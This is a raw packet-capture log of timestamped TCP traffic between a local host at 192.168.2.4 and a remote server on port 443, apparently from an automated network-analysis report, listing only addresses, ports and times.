Oct 2, 2024 06:10:26.926830053 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:26.926835060 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.926865101 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:26.926876068 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:26.929853916 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.929871082 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.929913044 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:26.929919004 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.929946899 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:26.929964066 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:26.930547953 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.930565119 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.930603027 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:26.930608034 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.930638075 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:26.930651903 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:26.932584047 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.932600021 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.932653904 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:26.932660103 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.932693958 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:26.933140039 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.933155060 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.933185101 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:26.933190107 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.933202982 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:26.933228016 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:26.941936970 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.941953897 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.942008972 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:26.942013979 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.942044973 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:26.942063093 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:26.942312002 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.942328930 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.942372084 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:26.942375898 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:26.942410946 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:27.017070055 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.017090082 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.017180920 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:27.017189026 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.017230988 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:27.017657042 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.017678022 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.017728090 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:27.017733097 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.017772913 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:27.020556927 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.020572901 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.020622015 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:27.020627975 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.020664930 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:27.021039009 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.021056890 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.021106958 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:27.021111965 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.021157026 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:27.023281097 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.023296118 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.023341894 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:27.023346901 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.023391008 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:27.024118900 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.024135113 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.024195910 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:27.024202108 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.024244070 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:27.032841921 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.032857895 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.032902002 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:27.032907009 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.032944918 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:27.033199072 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.033219099 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.033262014 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:27.033267021 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.033303976 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:27.116482973 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.116501093 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.116573095 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.116612911 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.116643906 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:27.116651058 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.116698980 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:27.117317915 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.117333889 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.117418051 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:27.117423058 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.118374109 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.118391991 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.118429899 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:27.118434906 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.118464947 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:27.118515015 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.118529081 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.118565083 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:27.118571997 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.118599892 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:27.119409084 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.119429111 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.119462013 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:27.119467974 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.119488955 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:27.125541925 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.125556946 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.125608921 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:27.125614882 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.125845909 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.125864983 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.125899076 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:27.125904083 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.125915051 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:27.195550919 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:27.198667049 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.198699951 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.198756933 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:27.198765993 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.198818922 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:27.199151993 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.199167967 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.199210882 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:27.199218035 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.199237108 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:27.199258089 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:27.202014923 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.202032089 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.202085972 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:27.202090979 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.202128887 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:27.202960968 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.202975988 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.203023911 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:27.203028917 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.203064919 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:27.204854012 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.204870939 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.204912901 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:27.204916954 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.204941988 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:27.204957008 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:27.205971003 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.206000090 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.206033945 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:27.206039906 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.206069946 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:27.206080914 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:27.216082096 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.216106892 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.216172934 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:27.216177940 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.216212988 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:27.216598988 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.216634989 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.216783047 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:27.216787100 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.216825008 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:27.289901018 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.289918900 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.290091038 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:27.290098906 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.290143013 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:27.290534019 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.290550947 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.290606976 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:27.290612936 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.290649891 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:27.293170929 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.293193102 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.293237925 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:27.293246031 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.293283939 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:27.294462919 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.294477940 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.294532061 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:27.294537067 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.294578075 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:27.295305014 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.295336962 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.295362949 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:27.295372963 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.295397997 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:27.295414925 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:27.296708107 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.296722889 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.296772957 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:27.296777964 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.296817064 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:27.309082985 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.309099913 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.309160948 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:27.309168100 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.309205055 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:27.309681892 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.309699059 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.309753895 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:27.309758902 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.309792995 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:27.380228996 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.380244970 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.380307913 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:27.380314112 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.380352020 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:27.380708933 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.380723000 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.380776882 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:27.380781889 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.380816936 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:27.383518934 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.383538008 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.383591890 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:27.383599043 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.383634090 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:27.384646893 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.384661913 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.384711981 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:27.384716988 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.384754896 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:27.385934114 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.385950089 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.385996103 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:27.386002064 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.386043072 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:27.387267113 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.387285948 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.387319088 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:27.387322903 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.387346983 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:27.387355089 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:27.399662971 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.399678946 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.399739027 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:27.399744034 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.399777889 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:27.400167942 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.400182009 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.400229931 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:27.400234938 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.400273085 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:27.470768929 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.470782995 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.470848083 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:27.470854998 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.470880985 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:27.470899105 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:27.471482992 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.471499920 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.471563101 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:27.471568108 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.471606016 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:27.474224091 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.474241972 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.474292994 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:27.474297047 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.474318981 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:27.474338055 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:27.475363970 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.475378990 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.475424051 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:27.475431919 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.475454092 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:27.475471020 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:27.476501942 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.476516962 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.476562977 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:27.476567984 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.476600885 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:27.476620913 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:27.477946997 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.477962971 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.477998972 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:27.478003979 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.478018999 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:27.478039026 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:27.490703106 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.490719080 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.490772963 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:27.490777969 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.490813971 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:27.491076946 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.491092920 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.491133928 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:27.491139889 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.491161108 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:27.491174936 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:27.561402082 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.561419010 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.561495066 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:27.561505079 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.561547041 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:27.562158108 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.562175989 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.562220097 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:27.562223911 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.562264919 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:27.564779043 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.564804077 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.564831972 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:27.564836025 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.564862013 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:27.564874887 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:27.565897942 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.565912962 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.565964937 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:27.565969944 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.566008091 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:27.567058086 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.567079067 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.567121983 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:27.567126989 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.567163944 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:27.568607092 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.568622112 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.568670034 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:27.568675995 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.568712950 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:27.581243038 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.581260920 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.581320047 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:27.581325054 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.581362963 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:27.581790924 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.581805944 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.581856012 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:27.581861019 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.581895113 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:27.652085066 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.652113914 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.652183056 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:27.652190924 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.652221918 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:27.652240038 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:27.652626991 CEST	443	49744	167.114.14.168	192.168.2.4
